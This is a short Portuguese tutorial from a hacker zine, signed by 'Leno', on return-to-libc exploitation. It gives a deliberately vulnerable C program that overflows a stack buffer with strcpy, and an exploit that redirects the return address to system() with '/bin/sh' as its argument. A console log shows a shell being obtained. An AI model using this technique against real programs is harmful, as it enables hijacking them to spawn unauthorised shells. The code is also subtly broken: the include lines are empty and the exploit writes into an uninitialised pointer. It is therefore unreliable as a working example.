Escrever Exploits

Este projeto visa criar uma nova maneira de se escrever exploits, sem
precisarmos criar uma porra de um shellcode nem tentarmos varios offsets, etc...
Mas como issu funcionaria???
A Cyber9 te diz eh o seguinte...
No metodo comum de exploitar, reescrevemos o RET ADDR para que ele seja
direcionado ao inicio do buffer e assim execute o shellcode.
Neste novo metodo direcionamos o RET ADDR para o address da funcao
system() e assim possamos executar um /bin/sh por exemplo.
Vamos colocar um prog vulneravel primeiro:

<++> omega/vuln.c

main(int argc, char **argv)
{
char buf[8];
if(argc > 1) strcpy(buf, argv[1]);
}

<-->

Esse programa pode ser facilmente exploitado do metodo basico, mas
vamos ver como faze-lo baseado neste projeto...
(Veja os comentarios).

<++> omega/ex.c

#include
#include

main(int argc, char **argv)
{
int a,b;
char *buf;
long addr,shell,i;
void *handle;

// Procura pelo system() na libc.
handle = dlopen(NULL,RTLD_LAZY);
addr = (long)dlsym(handle,"system");

// Procura por "/bin/sh" a partir do address do system().
shell = addr;
while(memcmp((void*)shell,"/bin/sh",8))
shell++;

// Vamos fazer o buffer (de 24 bytes).
memset(buf,0x41,24);

// Veja a manha aki...
*(long *)&buf[12] = addr; // system()
*(long *)&buf[20] = shell; // arg1 ("/bin/sh");

execl("vuln","vuln",buf,0x0);
}

<-->

Agora vamos ver c funciona direito...

~# gcc ex.c -o ex -ldl
~# gcc vuln.c -o vuln
~# ./ex
Illegal Instruction (core dumped)

Duh!!!
Vamos tentar assim...

~# gcc vuln.c -o vuln -ldl
~# ./ex
bash#

Blza intaum!!!
Realmente funfa mas tem suas exigencias... O exploit soh funciona
quando o programa vulneravel eh compilado com suporte a library dl. :P
Issu eh tudo.
By Leno